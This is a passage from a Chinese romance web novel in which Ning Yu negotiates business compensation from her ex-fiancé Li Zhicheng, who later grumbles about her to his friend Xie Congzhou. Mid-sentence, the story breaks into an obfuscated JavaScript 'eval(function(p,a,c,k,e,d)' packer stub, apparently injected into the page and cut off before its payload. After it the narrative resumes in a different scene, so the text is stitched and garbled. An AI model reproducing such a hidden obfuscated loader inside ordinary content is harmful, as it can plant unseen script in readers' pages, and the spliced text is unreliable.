宁豫捏着酒杯的手指用力,努力维持着面无表情的样子——实际上只是在昏暗的灯光下,才看不清微微发白的脸色。 死寂的沉默维持了将近一分钟,她才开口,声音冷的像冰:“为什么?” 李之逞没解释,只说:“是我对不起你了。” 宁豫心尖儿宛若有岩浆和成的血在翻涌,一阵一阵的上头,让她几乎失去理智:“是因为你那个叫南南的情人?” 李之逞沉默片刻,抬眸看她:“我们解除婚约后,她就不是情人了。” 男人眼睛里的情绪和声音都是宁豫未曾见识过的坚定,这一句话,她几乎就能想到前因后果。 ……同时也明白继续坚持什么是没用的。 “抱歉。”李之逞察觉到自己的失态,从桌下拿出一份文件袋:“咱俩的婚约也这么多年了,我知道是我错的多,会做出补偿的。” 宁豫没犹豫,打开袋子翻了翻里面的文件。 不出意外,是她梦寐以求的和耀锦合作的大合同。 仔细看了看,里面的所有条款都是对宁家有利的,足以让她赚的盆满钵满,在宁老爷子面前腰杆更直。 但是……这份合同甚至不能完全抵消解除婚约这件事带来的其他弊端。 宁豫知道在接下来很长一段时间里,她的生活肯定不会消停下来。 她把文件收起来,看着李之逞说:“我知道你们明年和港城有个合作案,有很多需要钢材的地方,也交给宁家做怎么样?” 李之逞唇角一直隐约挂着的笑意僵了一瞬。 显然,他没有想到宁豫不满足于一份合同,还在‘狮子大开口’。 男人笑得有些勉强:“宁豫,你也知道,李家现在不全是我说了算。” “主动要提出解除婚约的是你。”女人讽刺的抬了抬唇角:“你总不能一点麻烦都不想承受吧?” 他现在主动给出的这个合同本就是这些年的两家公司在各种周旋之下水到渠成的事情,算什么补偿? 这种根本没有诚意还想给自己戴高帽的想法真是可笑,宁豫也选择了毫不留情地戳破。 李之逞脸上已经完全挂不住了,英俊立体的五官一半隐藏在暗处的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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其实他更想说‘你不是我喜欢的类型’,但是顿了下,还是‘礼貌’了些。 宁豫没说话,专注吃甜品——是葡萄味的慕斯,她喜欢的口味。 李之逞见她没反驳,自顾自的说着:“我现在的女友……她很需要我。” “你和她不一样,你太独立了,有些时候我都忍不住想,你什么时候会需要我。” 可能自诩为有些能力的男人总有骑士病,总免不了那种被需要的感觉。 宁豫沉默着吃完蛋糕,放下餐具对着镜子补了些口红,然后拎着包站起来。 “你喜欢什么类型的姑娘是你的事儿。”她居高临下的看着他,淡淡道:“对着别人爹味儿教育就省省吧,烦不烦?” …… 直至女人踩着高跟鞋离开两分钟,李之逞的脸色还是有些黑。 他修长的手指摩挲着手机,半晌拨通谢枞舟的号码。 “我和宁豫说开了。”李之逞忍不住骂了声:“操,真他妈的窝囊。” 对面的男人笑了笑:“怎么?” “被她损了一顿呗,你也不是不知道宁豫这人,比男的还硬,嘴巴还毒。”李之逞望天:“我当年是怎么鬼迷心窍了,居然和她订婚。” 解除婚约还要被扒一层皮。 谢枞舟提醒:“分手了可别说前任的不好。” “我没说她不好,但就是……”李之逞憋了一阵,又‘操’了一声:“你哪儿头的,怎么还教训起我来了?” 谢枞舟哼笑一声:“老子这是告诉你一点做人的道理。” “滚滚滚。”李之逞怒,不过烦躁之后也松了口气,实事求是地说:“不过你建议的是对的,与其这么不上不下的抻着,不如快刀斩乱麻。” “宁豫那女人狠,不过出点血我也认了。” 他的口气……就好像无论如何也要甩掉一个甩不掉的人一样。 可是宁豫这样的人,又怎么会缠着一个主动要和她解除婚约的男人? 八成是李之逞面子挂不住,在这儿挽尊呢。 所以谢枞舟更好奇…… 他问:“宁豫到底说什么了?” 李之逞骂骂咧咧:“她说我爹味儿教育她,妈的,这什么人啊!” ……怪不得。 谢枞舟没忍住,在电话对面发出愉悦的笑声。